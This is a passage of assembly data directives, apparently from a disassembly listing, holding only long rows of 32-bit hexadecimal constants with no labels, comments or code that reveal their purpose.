		dd 61F29969h, 0F60B5734h, 0B257D045h, 35381661h, 0C46236A8h
		dd 30219D15h, 1130361Fh, 0B602E474h, 0E56897B9h, 709C022Ah
		dd 0C88DB115h, 0D4B55980h, 33FFAABCh, 4580B301h, 8E30297Ch
		dd 2130CC22h, 41111130h, 88BF3130h, 84B63E1h, 22DF220Ch
		dd 19CAEDC9h, 0AFC3E630h, 0CDA877A7h, 773F600h,	0CFD922EEh
		dd 0E2E9A358h, 0D3648A69h, 11046B2Bh, 541AFE1Dh, 0AB500828h
		dd 9511D2Eh, 0BD2A4007h, 7E335D52h, 469F8EBCh, 1563CC40h
		dd 70677758h, 14D3357Ah, 46A4399Ah, 856980E5h, 7A0DD30Dh
		dd 0A8541A91h, 207C1010h, 0FF0AFAA5h, 5698D578h, 6AF5840Dh
		dd 528A39C4h, 8A092A4Dh, 1C5A3A54h, 2519B022h, 0D48383AFh
		dd 29B457A7h, 9953CC42h, 1D1E9A70h, 0E2CC90Fh, 420DAAC4h
		dd 481940Dh, 0A91A19B3h, 2ABC305Ch, 5D5A294Fh, 4FF62028h
		dd 0CC0A7C43h, 0F609A0A3h, 0D0E43FC3h, 3288953Dh, 39EA9E16h
		dd 0EA34C0C7h, 48AA8FDFh, 8D5A3C4Ch, 7892B149h,	175D32BEh
		dd 7E6B83C2h, 2C468044h, 646A14BAh, 0B4A54F83h,	0CE7FEAEDh
		dd 76CDBD91h, 0A19CA6CCh, 6E7519CBh, 4023D745h,	59B3183Dh
		dd 7BBB9B1h, 29E0018Ah,	0C6A020Ah, 3C02302h, 0E948DEC1h
		dd 0E9B186A1h, 49C42632h, 75E839CBh, 0D949AA80h, 3261690Eh
		dd 0C80CCA01h, 591E6294h, 0D2761355h, 0C3C043D6h, 76484276h
		dd 3FCA885Bh, 0EF21A2BBh, 0BB408AA9h, 287B7BCAh, 40458ECCh
		dd 62625498h, 0A566EFDAh, 66097546h, 1D1F2335h,	0F6A945FEh
		dd 5A8C9850h, 48ABAAE3h, 0A3B523CCh, 48FF3080h,	0D2FA118Ch
		dd 0BA90506Ah, 2EF8355Ch, 0E3086331h, 3188C2A7h, 0B531852Dh
		dd 0A84FC765h, 2AE48347h, 0FD93F52Ch, 33708BCFh, 0A53AA2FAh
		dd 6E2F18BBh, 0CAF88C20h, 0AACEE1A7h, 0C3D06CF2h, 0DB0A24ABh
		dd 255AAB2h, 46E34CC0h,	0D4A7788Bh, 128A101Ch, 72012A7Dh
		dd 0BEA4BE92h, 5518F910h, 1E3753CBh, 0F6271146h, 0EE881551h
		dd 1A7B41FCh, 0F5CAB28Ch, 0A2AB2AA6h, 0C1A6B86Bh, 9A9E460Ch
		dd 6557E4A9h, 0B58A5694h, 847525D8h, 0C3C3F2EBh, 57142175h
		dd 10171840h, 984570A6h, 2ACD1579h, 27BB5E6Ch, 721EBEEBh
		dd 325C5955h, 30494636h, 725BC8E6h, 9687C715h, 7C66AE57h
		dd 309885C3h, 7E62F497h, 0A92AC155h, 6164156h, 5965BDBDh
		dd 9D2F114Bh, 0CC1C1CA6h, 0A12DA7A0h, 0C85D6E2Ah, 2E858B00h
		dd 1675FAE0h, 98409D99h, 69E5ED33h, 71D5DC55h, 479899AFh
		dd 5FEA2BB0h, 0C3FE4056h, 6566E91Bh, 184C5FEFh,	0EF8FCB37h
		dd 2E04545Fh, 0A58C583Ch, 4BEDC4A0h, 0AB0F9922h, 8AE28472h
		dd 0E361531Ch, 9B8CEF13h, 0C0CDC8ABh, 6053EECDh, 0C6117972h
		dd 0FB6B99CCh, 3B763717h, 0B23051D5h, 93B06122h, 5ACC30A0h
		dd 2FE43036h, 0A6282A6Eh, 81065493h, 5F262574h,	63D3FCD1h
		dd 156A0457h, 82D49409h, 465F4D11h, 0A55160B1h,	899A719Ah
		dd 84C5559Bh, 7988559h,	0A798CA63h, 0FCAF3F2Ah,	16553159h
		dd 982C9342h, 0A98AE821h, 0F71851A7h, 81548579h, 0CA63594Ah
		dd 35366133h, 2AB00790h, 0FDE218AAh, 6F153ACBh,	966012E6h
		dd 1544526h, 2621AC6Ah,	697276E3h, 0B8C8666Ch, 0C2829426h
		dd 4CFC03B8h, 8B2AE2BFh, 0A329CBFAh, 8ABD83C5h,	0A4015E2Bh
		dd 0E8C587Ch, 0AFD0F8D6h, 0C2E21628h, 73D2C0C8h, 0C84AAB3Ch
		dd 6E2B10AEh, 0A5C98C1Ah, 61C1B42Dh, 0EE27842Eh, 3F28DE55h
		dd 0CC5FE636h, 9944F651h, 6D81E20Bh, 2EF5696Dh,	0F2800690h
		dd 0A2EA542Bh, 0CEEE3088h, 0AEA32CDCh, 80AA043h, 0CC1ACE3h
		dd 5ACCB306h, 0CB8408A6h, 0D52D3C3Ah, 407D4C59h, 0C57C6518h
		dd 2E1F98B8h, 198B7AC6h, 5CD5460Ch, 715D8D47h, 54759149h
		dd 0F651984Ch, 0CCC4CE8Dh, 309804DAh, 9906E2EEh, 0A7A3A8EBh
		dd 0CDDEB8C2h, 0CC62774Ah, 0AA2B78EBh, 0BF1531ACh, 8BA70663h
		dd 7E2CC8ABh, 0E68C26h,	0BE638B95h, 5C9975C9h, 54B071E6h
		dd 0C61657ABh, 0A769ABA6h, 0B781BCBBh, 0AF051B5Bh, 999FF0C2h
		dd 4C3B28EBh, 59142AF5h, 51C8F239h, 45599C16h, 5D05FC59h
		dd 38DCAB19h, 0D5D14598h, 0AC08A55Bh, 1BA2A903h, 0F31A2D8Ch
		dd 0A3ADD5E7h, 50D6CCC1h, 0BB3949A9h, 771F7C0Bh, 13AE0E8Ah
		dd 2C128E11h, 80B8266Ah, 96462B30h, 0C5A1E0F4h,	0B9980E1Fh
		dd 5CC3C1C2h, 0CFC52045h, 9A743983h, 928574ACh,	54CBCDBBh
		dd 4632B58Ch, 382AE592h, 0FCE5EDh, 6F0C2B95h, 7CA3B35Ah
		dd 0CA40E97Ch, 5DBC94E7h, 2630A8A4h, 0DBA4AFC2h, 613571F8h
		dd 33F91A6Ch, 69C9CD60h, 8514BBE6h, 0A86B7983h,	2E2A44D5h
		dd 8C1EAC19h, 0E71AF1D7h, 492D6F2Eh, 0A6CB8E2Dh, 0F2EB9F33h
		dd 0C1520B0Eh, 0E2C24D9Ch, 0B0973836h, 259162ECh, 79873989h
		dd 6B13C291h, 1AFC7D9h,	8A5008B1h, 2A933076h, 0F9551A0Dh
		dd 43B2E7CAh, 0C33AA280h, 0EB22EA22h, 8E5A0A96h, 87CC8BBBh
		dd 0B4DB7CCEh, 0ACF3347Ch, 0F2AC3120h, 932B4933h, 3719BAC1h
		dd 0A8EA030h, 22AFF306h, 0BA1ABCA7h, 49FC51C3h,	36BBE8B2h
		dd 2CF12FF7h, 0BD1D1598h, 96547710h, 0DC55520Ch, 45D4F65Ah
		dd 751C1613h, 0D3469E91h, 17535661h, 80140D35h,	0E1ED40C6h
		dd 0C559B930h, 5E5A4775h, 5D4B1990h, 3EC18C5Ch,	2AC1679Dh
		dd 0B367EFB8h, 2BCCF22Eh, 0B1958C70h, 0E45D3874h, 18A29518h
		dd 83151C3Ch, 0BB06BF22h, 0E7678BB2h, 0C15C5B6h, 0BE4F0B26h
		dd 7B3D6A0Bh, 5E6C4CC1h, 161A087Fh, 0C7E06794h,	0BA53A0BBh
		dd 0A49EF398h, 7A1C55F8h, 3617235Eh, 5478C60Fh,	0BBAE05C5h
		dd 0C458D254h, 1BB6A297h, 86C930FEh, 653E0C79h,	0E39E838Fh
		dd 57C3E460h, 6459BA31h, 398F3275h, 81549EB3h, 3C6DCE6Ah
		dd 0D3607564h, 0D226BD15h, 7325C574h, 1766ED59h, 0B7149E67h
		dd 86851206h, 3E3203B7h, 72E5164h, 0CC36FAC1h, 5D4EA05Eh
		dd 0F746975h, 0BADC9278h, 21AC296Dh, 32BCD5D9h,	95D8969Bh
		dd 0D63F74C7h, 34FCBA47h, 0E616315Fh, 84FE515Fh, 79CA3F16h
		dd 61417633h, 925C415Ch, 18215975h, 2DB26219h, 0DD83157Ch
		dd 0F18B5CEFh, 13B13AB5h, 0EF304C9Bh, 0A6DBA874h, 2FA159ECh
		dd 6228BADh, 0FCA3551Ch, 54ACA3A9h, 0A0A8E8AAh,	0A307AAF8h
		dd 0F699B4DBh, 0BB2B0A3Ah, 0A3993DDCh, 0D2CFAC05h, 2BB4A8CDh
		dd 6139F12h, 0A254E593h, 54D13F99h, 4CF46152h, 66E75D98h
		dd 0D16E0F26h, 0ADCD7E76h, 0BC852D8Ch, 0FFE074B9h, 1855E78Bh
		dd 56A19771h, 0B6CE984Ch, 2C6EABF4h, 0DB5906DDh, 715D2916h
		dd 647143E1h, 4C546DC0h, 42CC5F98h, 2D2E6473h, 0B7318FBEh
		dd 30996D79h, 7AAC1FFAh, 0CDBBE8C4h, 3FCEC686h,	0A8C4E312h
		dd 0C2A2FDFBh, 4F55A2BCh, 0C5D6F37Ch, 4B616A54h, 0B1AED359h
		dd 0BF9871DDh, 0DB6F56A8h, 53FA271Dh, 0A8307E61h, 0A859A943h
		dd 0F25C36CBh, 38A928ABh, 0D446A314h, 816336B2h, 0ACC98EF8h
		dd 0C282994Ah, 525CA2ECh, 0D399F399h, 64C8D1E9h, 4A2D43CEh
		dd 0F56CE29Bh, 0A2F2AE28h, 0A4B91B2Bh, 2A755A7Ch, 480D8087h
		dd 0AAE4E011h, 0C9B70686h, 0F1965601h, 0CFD33F4Dh, 9E568571h
		dd 911C51DFh, 0AC3657CAh, 9E7EFDD5h, 0BA849BA3h, 0BDC139F7h
		dd 0C7196A6Eh, 0A678D745h
		dd 8A2E1592h, 2EA1CCF5h, 99FF626h, 0DCC539B3h, 0E77A8F29h
		dd 2CD2BA3Bh, 1505CC50h, 0F2C2E16Fh, 611A2892h,	0A01B2CAh
		dd 0C267592Eh, 0BBEC0BA8h, 3FC69535h, 57715772h, 90B4DB94h
		dd 0BD27F541h, 0A49FDE8Bh, 0D5AE3511h, 0AA090015h, 1772A1D7h
		dd 0AD3C63C1h, 9456E0C6h, 84CF7A41h, 0D17D15F1h, 98CE98C1h
		dd 9E5F98D5h, 98C0E62Fh, 334B4151h, 3FE8D9E2h, 0F3361A9Bh
		dd 99EC266h, 0B5999EE3h, 5C5F2CEDh, 6BE24945h, 2C1CDECh
		dd 63CA9DCh, 0DEC65443h, 56581FC7h, 0E8C126A5h,	5B82CCD2h
		dd 3C95E695h, 1CEE8DAFh, 30817349h, 0B2585DEh, 5A71BA11h
		dd 957E9D3Ah, 1B0A6B35h, 45E57F12h, 3B156011h, 0B75D0805h
		dd 90B9E6CAh, 900A2BC3h, 0D5987656h, 7D6B774Ah,	0AE1880FCh
		dd 4913F951h, 61EB289Dh, 7A38E84h, 0A45242A9h, 0B840192h
		dd 2C29301Eh, 920BC66Bh, 0A24C345Bh, 9320C00h, 1E4089A0h
		dd 36C8551h, 52713A03h,	57E6A883h, 0FC0F002Ch, 0D4028765h
		dd 0C87D39CCh, 8A14C925h, 4C78171Ch, 428D1DCAh,	593A359h
		dd 0F4E9B35Ch, 0CE4B01D2h, 74701656h, 528D52EFh, 1B2E241Dh
		dd 0AFB1E340h, 0A8D06404h, 0C05748A2h, 99F5E1D1h, 82C6D050h
		dd 9160ACCFh, 0DEB31AB3h, 0A304506Ch, 0AB023018h, 0A96621CBh
		dd 67309281h, 8E9A22C0h, 97EA815Dh, 5719B74Bh, 6603F59Ch
		dd 0D050D950h, 16D611F9h, 0CAC110EEh, 0E2BD0339h, 61A09DC7h
		dd 0DCC71F7Eh, 525C2352h, 16F6D394h, 539FAC97h,	7D360416h
		dd 1146E05Ah, 0F6DED161h, 79984011h, 9E631AE7h,	361CABE8h
		dd 6C65158Ah, 790C2AC7h, 0C5895F45h, 0C5C783D4h, 5FA40518h
		dd 0DD39220Ch, 89765840h, 11CB4180h, 5D98D36Bh,	4FC9C03Ch
		dd 9186082Eh, 1CCB601h,	0C68E0727h, 0A8B26251h,	0C554BD2h
		dd 98EC3302h, 9808DB9Eh, 0E54A4345h, 72B84B63h,	38F68065h
		dd 9CC03011h, 0D0F56325h, 847E4232h, 80C1A980h,	11807691h
		dd 91187C7Bh, 211C463h,	4603D0E6h, 0B198F9DEh, 0BB1007C7h
		dd 60210C4Bh, 8C031D6Dh, 0E1181FA0h, 63B12578h,	9E64081Dh
		dd 678B00C9h, 6B6B6020h, 3B5C19BCh, 98280113h, 1DAB1064h
		dd 355A9945h, 8DE47E04h, 98D16200h, 0C9EB799Bh,	0D66E750Ch
		dd 73C6BDD1h, 549E994Ch, 6BFC0C3Ch, 0ECC10B6Bh,	0AC44A178h
		dd 58BCA78Bh, 0A3EEA8A1h, 2E75C186h, 51BC6D9Dh,	0CF17A984h
		dd 5986F983h, 0D1D47021h, 8FDAD460h, 0D63861C7h, 235C1F27h
		dd 8C62BBDAh, 0C233177Bh, 0CBB9CBBDh, 115E0A9Bh, 0BF312033h
		dd 71B3068h, 0FF8EF7A3h, 0B8BACB81h, 0EFD3F8EAh, 5B4C9F78h
		dd 70C06B85h, 6F98604Dh, 5A86D95Dh, 0E5D867A9h,	0EAA2BB0Ch
		dd 0E8C1CBA3h, 738B0C8h, 0C34BE2A3h, 0E895BBC1h, 181797D8h
		dd 0E1D186D5h, 0ECB4636Bh, 124E30A1h, 0E3145CA8h, 18FC210Bh
		dd 0FB861F8Bh, 227AC28Ch, 8BCE42CCh, 5922B78h, 3F18A391h
		dd 854A85A6h, 6021D011h, 0AC04B8B8h, 0D82858EDh, 60722591h
		dd 18084027h, 7B44B35Bh, 22B38305h, 227EE54Ch, 81579B60h
		dd 8089DB20h, 32B8FD1h,	0D2C2AA04h, 22CA85AEh, 940433Dh
		dd 0E16E9C54h, 5108476h, 298E6020h, 42AC7255h, 0CD185128h
		dd 63B0425h, 290DBA8Ah,	2146F620h, 7DB7CC2Ah, 94660211h
		dd 5A0A4650h, 14520211h, 4DD3943Eh, 6B8B9C71h, 757E1810h
		dd 0BAAE0109h, 3196D25h, 0C1620826h, 108AFB44h,	0D1DDB930h
		dd 9FA32940h, 2B531870h, 0AA718C03h, 45180108h,	1EC79806h
		dd 54D0846h, 2DAA7314h,	38264D61h, 387A631h, 621BB298h
		dd 5B336CCAh, 8173EE2h,	2608A8CCh, 25CB72B6h, 24544604h
		dd 0A6482D81h, 0F7AEC6Ah, 4B05CC06h, 0B22E4C09h, 0C0600966h
		dd 0E302856Ch, 0F28B9C2h, 30200CEFh, 59ECC0E6h,	4CC43751h
		dd 0E8846C04h, 3D9706D7h, 940F5428h, 2FF4734Ch,	413CB697h
		dd 0A4D8A980h, 91C1A2BAh, 7FA54F97h, 2BBD8281h,	0A2B78C12h
		dd 0D12BA19Dh, 224A43A6h, 0CCFCAEFDh, 4ECFC32Ah, 0CC082CACh
		dd 831EA6C0h, 0A3122116h, 0A33E03E6h, 0D552D8D4h, 6065711h
		dd 2265366h, 8FD14BC6h,	12A8D782h, 40E6B02h, 8D5C234Ch
		dd 0AC05E58Ch, 89D625CDh, 9D808E33h, 9981299Dh,	27C480B1h
		dd 3BC9860Ah, 323B602h,	3814314Bh, 551926D4h, 0CE450536h
		dd 17E393A2h, 98D09605h, 0A8089E7Eh, 6A9850C1h,	0FA10EDEAh
		dd 3AD86939h, 8E96C6A4h, 0A164D4E3h, 2A95C2ECh,	0D586B06Ch
		dd 298FB065h, 5F451515h, 0C650E0BAh, 3E8B5260h,	19694066h
		dd 95E3BB5Fh, 926062F3h, 0E959726Eh, 81A94232h,	0DB312301h
		dd 195D9DCAh, 422228Fh,	0C0401894h, 0DCDA088h, 0A26856C8h
		dd 8048AE35h, 0CB4FB239h, 8A2FC2Eh, 0F0798B5h, 0D154E959h
		dd 31826F35h, 5500D693h, 0B7BD494Ch, 1224809Bh,	0FA4031C7h
		dd 2302126Ah, 330548BEh, 26B4FB33h, 14540963h, 502034CCh
		dd 8A02303Ah, 9B0150AAh, 0B30970Bh, 0AA13A342h,	0B2073931h
		dd 9A296E6Eh, 38EDF375h, 716B2640h, 78A26C96h, 2DC0A838h
		dd 225DD52Bh, 0E0C428C2h, 68954406h, 0D6620E55h, 18D70902h
		dd 4B5E8B71h, 98288731h, 0CD2749DBh, 33052A66h,	908F7Fh
		dd 51150827h, 461EC697h, 91195C2Bh, 0D8D11460h,	289E1B96h
		dd 5B888C18h, 412DBE5Eh, 0C67F7463h, 0D83B8038h, 3A662EF6h
		dd 0DA042B0Ah, 0CF94D041h, 7287D190h, 7D462A10h, 183105DAh
		dd 908E0786h, 767B8151h, 368B627Ah, 4230A9A3h, 41693FDDh
		dd 0B260593Bh, 8A253460h, 488A5126h, 2EC31B30h,	0C62A2F8Ah
		dd 65608DAh, 39CCCE94h,	0A94146A0h, 5278F055h, 2E7FA706h
		dd 5214C522h, 0B68B9E22h, 8983243h, 995294A0h, 1C9A6108h
		dd 2B424358h, 40E47963h, 0B2003865h, 8AEE2B25h,	0EA0094B4h
		dd 6D8B688Ch, 0B50D82ADh, 0D17D9267h, 0B15E7DA6h, 0BB15AA76h
		dd 10457D9h, 0B2A34F8Fh, 0CE95DAE4h, 3258089Fh,	9F2F872Fh
		dd 8C22BE8Fh, 0CAAA3A0Eh, 0DF2278A9h, 86A30A93h, 0C30FA8C6h
		dd 0E914AA1Dh, 108AAA50h, 640C1AA3h, 8AC9E3BAh,	35CCF03Dh
		dd 8E6E8A32h, 0FBEC288Ch, 39018A95h, 3F47F8D8h,	2F0DA81Bh
		dd 0AB6E0293h, 8831901Bh, 22AE8CBEh, 19206A7Ah,	322CCBBCh
		dd 8FD9BAAFh, 5458C1E2h, 88B0E953h, 5904303Fh, 4EF12286h
		dd 71D5DD99h, 7F94D532h, 3E6E334Ch, 0AA6E8499h,	763E8FE3h
		dd 64CEC8E8h, 7124CCE4h, 0A3C46A4Dh, 147C457Dh,	5C535C54h
		dd 4571BB3Ch, 6234D189h, 11F88935h, 319AB613h, 40AA8CE0h
		dd 0E3603FD1h, 599436E2h, 180DB2E3h, 0E223F668h, 130BD99Fh
		dd 0B83D802h, 0D004AA1Ch, 65122366h, 784A7489h,	712AC425h
		dd 4A6D895h, 128A8254h,	4BE90949h, 0D8972504h, 0A25C6F43h
		dd 89DA812Eh, 96544B6h,	89D784B4h, 227513B0h, 425344EBh
		dd 949512Ah, 2508C4A6h,	6E43128Ch, 912E4BF9h, 84B7E097h
		dd 12CEC25Ch, 4B10096Ah, 2B622594h, 0AA8995F1h,	0A7095604h
		dd 8E255213h, 8974A12h,	99E4104Ah, 96F1D2DAh, 76914BA0h
		dd 58042D82h, 5A122CA2h, 4C4AAE89h, 0B129AE25h,	44A08094h
		dd 2D880251h, 0EC25897Eh, 88967A12h, 625ACC4Bh,	963E12Dh
		dd 245104B3h, 55C412BEh, 50122B22h, 4912AA09h, 44B9827h
		dd 43D88A25h, 2E82F16Bh, 0B7099771h, 0CE255C44h, 0F0956B12h
		dd 255904Ah, 894FC12Bh,	252004A8h, 55841298h, 5F8B4A28h
		dd 8011C0AAh, 0C84B521Eh, 0C12DEC25h, 44B17896h, 12B80259h
		dd 4AA80960h, 29C22564h
		dd 0A3899521h, 22975284h, 87A14412h, 5D44D2D2h,	6D122F02h
		dd 944BB889h, 0D12BD225h, 4A80895h, 12944255h, 4A18094Dh
		dd 0D0872518h, 225D97F2h, 8970C12Fh, 25A084B9h,	960112D8h
		dd 56044B18h, 53122BA2h, 344AAA89h, 5122A025h, 2CE85094h
		dd 0EE25297Dh, 88967A12h, 625AD04Bh, 962E12Dh, 256C04B2h
		dd 953112BEh, 53044AB0h, 45122A02h, 0FCB3A409h,	4BC88425h
		dd 2E6221F0h, 0B6099761h, 0CA255BC4h, 0F0956912h, 0B095844Ah
		dd 253A13Ah, 945312Ah, 25F804A4h, 0EC4B1284h, 512EB2A1h
		dd 0C4B6C097h, 12CC425Bh, 4B000969h, 2B42258Ch,	0AA0995D1h
		dd 942555C4h, 20914F12h, 16441C4Ah, 6C1214BDh, 884A3989h
		dd 0A12AD025h, 0C4A8F095h, 1292E254h, 4A08094Ch, 0C6872514h
		dd 0C25C97C2h, 9DB912Eh, 8966C4B8h, 257C44B4h, 958112C6h
		dd 54444AE0h, 0D2842A82h, 4412A689h, 0F8B1A309h, 4BA88225h
		dd 2DE221E4h, 0B4899721h, 0C6255B04h, 0E8956612h, 0A254804Ah
		dd 894C912Ah, 251884A7h, 91141292h, 143C4A18h, 12E6BE96h
		dd 4B588976h, 2CA225BCh, 0AE899681h, 0AE255844h, 80945A12h
		dd 42504C4Ah, 1604C129h, 7612C4BFh, 0B04B3D09h,	612CE625h
		dd 4AE4896h, 12AE6258h,	4A80895Ah, 29022550h, 0A10994C1h
		dd 0E87B5144h, 25C87F2Bh, 96B112EAh, 59444B70h,	5F122D02h
		dd 484AB109h, 6128AC25h, 8AF25894h, 0BB89425Fh,	0E0251EC4h
		dd 50967412h, 6257B04Bh, 8959612Ch, 8952C4AEh, 253013AAh
		dd 9441129Eh, 5F8A4A40h, 84BB2822h, 12E0EA1Eh, 12CA0973h
		dd 4AF8276Bh, 2B222588h, 0A88995C1h, 94255544h,	8974E12h
		dd 8791144Ah, 5C44D2B8h, 69122EA2h, 8C4BB689h, 0C12BCC25h
		dd 84AA0095h, 12982255h, 4A280950h, 2FC52520h, 625D9411h
		dd 96E6D0Fh, 259C84B9h,	960112D4h, 56844B20h, 51122BA2h
		dd 184AAB09h, 0F2B49625h, 2F221897h, 0B98987C1h, 0D8255D84h
		dd 30966F12h, 0C257A44Bh, 8956312Bh, 254004ACh,	949112A6h
		dd 50844A68h, 943E28C2h, 12EABF95h, 4B680979h, 2CC225C4h
		dd 0AF8996A1h, 0B0255884h, 90955B12h, 0A252544Ah, 89440129h
		dd 25F884A3h, 0EC4B1282h, 612EAC21h, 4B6C897h, 12C0625Ch
		dd 4AD00967h, 2A622578h, 0A6899581h, 92255444h,	18914B12h
		dd 9574184Ah, 781214BEh, 0C84B3D89h, 0B12DEA25h, 44B17096h
		dd 12B60259h, 4AB0095Fh, 29E22564h, 0A4099521h,	84255304h
		dd 21EC4612h, 96F1F8ABh, 5A044BC0h, 62122D62h, 6C4AB289h
		dd 512ABC25h, 0C4A6C095h, 12904253h, 4A18094Ah,	0BE952518h
		dd 9779114h, 25C4543Dh,	96A112E8h, 58C44B70h, 5C122CE2h
		dd 544AB009h, 0F129B025h, 4A29094h, 84BF6252h, 3D8989D0h
		dd 0EA259544h, 70967812h, 259C84Bh, 95FB12Dh, 255044B1h
		dd 94C112B6h, 51844A80h, 114B2922h, 43C0A189h, 2E42E953h
		dd 0B5099751h, 0C8255B84h, 0E8956712h, 0A254844Ah, 894B912Ah
		dd 251044A7h, 97D21290h, 0A12E4A08h, 44B6A487h,	12CEA25Ch
		dd 4B00896Ah, 2B22258Ch, 0A90995D1h, 96255584h,	20914E12h
		dd 1514204Ah, 741214BEh, 0B04B3C09h, 512CE025h,	4AE4096h
		dd 12AE4258h, 4A80895Ah, 28C2254Ch, 0BF1594A1h,	897750C4h
		dd 25C0043Dh, 96A112E6h, 58844B68h, 5A122CC2h, 512AAE89h
		dd 44A5AE24h, 12882253h, 4BE90947h, 0D0972504h,	4CC44F43h
		dd 6B34612Bh, 747A95CAh, 0A870B713h, 0A5923AD2h, 0D2378C06h
		dd 0B93664Dh, 4558C604h, 0D650178h, 0BCB1518h, 80625419h
		dd 60AA455h, 536D1A2Ch,	0C541A334h, 0B112F6EAh,	0E80F8344h
		dd 0E4385F3Eh, 0C019EA0Bh, 58EE2A54h, 0E79E5B4Dh, 9057D624h
		dd 83560C60h, 0CA1CBF32h, 4696A2AFh, 0F4FAC22Dh, 0A4BAD068h
		dd 262A113Ah, 4D2A8B58h, 0A5D5548Ah, 0A6C08343h, 0C0A0072h
		dd 81D8915Fh, 64988535h, 8D030CA8h, 3E9C18C1h, 4C273AD5h
		dd 0A1015E83h, 0F4C5260h, 98B040Fh, 0FAA5A6D3h,	3EA40411h
		dd 6150549Dh, 3C006E0h,	303CA997h, 50A9F098h, 0D988105h
		dd 0D32953D8h, 74E6DE28h, 0AF598133h, 0FAB0712h, 946A7081h
		dd 8685BC12h, 379A4963h, 23169090h, 90C610CAh, 3068AA01h
		dd 151C1BA9h, 281AD53Ah, 94601058h, 1573300Dh, 180CCC03h
		dd 8816A98h, 86A55518h,	429C4183h, 7409D546h, 1864C078h
		dd 3B531856h, 0E4A04040h, 0B6D9A5B1h, 0A30221BBh, 28C318Eh
		dd 400008C1h, 0D62C1868h, 319C6288h, 0B020C087h, 669361E7h
		dd 32AAA34Ch, 18E060Bh,	170A309Dh, 667E6E0Bh, 0E140106h
		dd 43CC3966h, 0C162009Dh, 5C46083Ch, 0EE791311h, 500C0738h
		dd 65ED6D34h, 63B15860h, 4D565AD6h, 8955E622h, 0B70B0A19h
		dd 989B80C6h, 0CB34571Dh, 73166181h, 67E996AEh,	6A3E8F64h
		dd 63E6B342h, 6B9BE38Ch, 736AB09Bh, 0CAF2C62Fh,	61C5C064h
		dd 9C196B30h, 4C00F099h, 0CEEFC18h, 739C34Fh, 598371B6h
		dd 98AE97E3h, 1C6B8854h, 384B31D8h, 0F36E9620h,	309A3134h
		dd 46470FB0h, 87C8C799h, 0B7982B01h, 10C310D9h,	618D850h
		dd 4D82C0E3h, 6635CD9Ch, 65BDC4CDh, 36D56031h, 69994031h
		dd 0E8088230h, 59AD0C89h, 18312CE3h, 0C4603DE0h, 97694E17h
		dd 3D60E10Eh, 665508B6h, 638AC519h, 383B8586h, 0DDB2B460h
		dd 771BA0C7h, 34D8C164h, 0ED185C25h, 31B318B0h,	80D65D40h
		dd 261E45B3h, 704CC091h, 10EC19A0h, 6C8C2CD8h, 3F919D26h
		dd 0B2CDDC46h, 0B589B7E9h, 188E01C6h, 0A6E190EBh, 62256331h
		dd 66ADD028h, 61F36031h, 30EC4032h, 18B330D8h, 84C2655h
		dd 1831098Ch, 3C0C870h,	0E8A00636h, 639A60D6h, 0C1A28980h
		dd 6867D7ECh, 82B96AEAh, 0DC17B052h, 0F0198FA4h, 1D6A36E2h
		dd 26A1B063h, 0AD62ACC2h, 6AF048B1h, 16CA79ADh,	94281830h
		dd 1AA14F80h, 484665F3h, 0CD81ACA6h, 9C8D97D2h,	98E90B29h
		dd 0CED48109h, 405881C9h, 0CD37CC50h, 0F2493670h, 1C419785h
		dd 518184C3h, 0C31CB60Eh, 0B0300981h, 39766E09h, 730998D8h
		dd 91DCAC06h, 34C08C5Ch, 0ADCE9C4Dh, 665C20B2h,	872C2EC0h
		dd 4C3CDC22h, 627D83Ch,	2606D605h, 4C574602h, 6B54338h
		dd 500CAC06h, 0D80D5AADh, 60634F2h, 2C374603h, 94F939B3h
		dd 624CB24Dh, 16680C6h,	719CD6Bh, 100D0406h, 35A1DF83h
		dd 0C546C0C3h, 0F1A8580h, 0E19D8434h, 4D05CC46h, 9CB7635h
		dd 74809E8h, 696633B3h,	1BDA1A82h, 0E027CAB8h, 8A824EE0h
		dd 44D890CFh, 81002206h, 0C1408059h, 129AB23Ch,	0A32A248Dh
		dd 84C04A3Ah, 28EABCC0h, 9ACFE263h, 66F5F076h, 578067DCh
		dd 7C326518h, 7ED2C18Eh, 0A30C4B1Fh, 1A4DC6C0h,	6168C08h
		dd 39A534A8h, 0C1236C7Ah, 0A0529D8Eh, 0D931D30h, 0C6CA1DDh
		dd 85942498h, 43CF259h,	0D80C3156h, 580C36B6h, 834C5A46h
		dd 33041441h, 32450626h, 0E3641155h, 0C7700EE7h, 50EEB0D8h
		dd 530B5A98h, 0B0706B12h, 5399B018h, 0F08C1964h, 0A3E02A35h
		dd 0C0C41652h, 93144136h, 1A375730h, 0A0C1B294h, 280AE980h
		dd 3E0E258Eh, 326C0BC3h, 3D981E61h, 0EDCC36DFh,	6A74290Ch
		dd 1F3C8618h, 0D6C101F5h, 8016070h, 2C14CD67h, 63A04CC6h
		dd 0C38C6F00h, 26402CCDh, 8F28080Ch, 0D62A6192h, 806822F1h
		dd 0BA4C1464h, 922801C3h, 6AF09F0Ch, 34F0062Dh,	88C0132Ch
		dd 82C01930h, 8E3062C8h, 282D619Ah, 63701161h, 0D5C02C6Dh
		dd 0B163CE52h, 0F1CD3262h
		dd 3021B904h, 5498E76Ah, 0D2D598C6h, 0C998003Fh, 80812D88h
		dd 8DB2C903h, 70069C95h, 430178C0h, 47302A4Eh, 0F21C808h
		dd 0D4514133h, 0BA598106h, 8E0EE218h, 2B308109h, 0C7D53ACDh
		dd 0C8EE9112h, 461C12Ah, 403C34CEh, 144EE2ACh, 9A8C086Ch
		dd 8ED5FDE0h, 66C00E29h, 0B2D6280h, 0D16CC06h, 0C9B2E67Bh
		dd 4C1E1E9Eh, 9804A9D8h, 0A587379h, 0AEC51AD7h,	0DF5F2871h
		dd 82048146h, 0C6682739h, 53593AC0h, 2B280043h,	5476A2BBh
		dd 0C60A06E7h, 0C325E6BAh, 8F7E11A2h, 284B9501h, 980C3AD2h
		dd 18256581h, 82F018E9h, 0E58743ADh, 0E6F71934h, 70A59810h
		dd 63A145Dh, 3C054656h,	242F65A3h, 0C422C30h, 0C8C19808h
		dd 0CEA84A8Ch, 0C163C72Eh, 0B9A6C7DCh, 0C3AD989Ah, 65A1824h
		dd 664E37A8h, 31428C0Ch, 0A9CCD078h, 0D6026331h, 80C8740Ch
		dd 848F2859h, 0D04ADE12h, 8D300182h, 0B6583071h, 0B918065Ah
		dd 10B11098h, 0A32C81D0h, 0A040C36h, 6031A82Ch,	980CD832h
		dd 9015514Bh, 0A4F34B35h, 0E3870289h, 867E5161h, 0E337771Dh
		dd 83630403h, 66ACA4C0h, 0F5E26BADh, 0AECB086Ch, 91C3C00Dh
		dd 48A05701h, 128BC8B6h, 5BE30E23h, 0C45316CEh,	0BE1BE030h
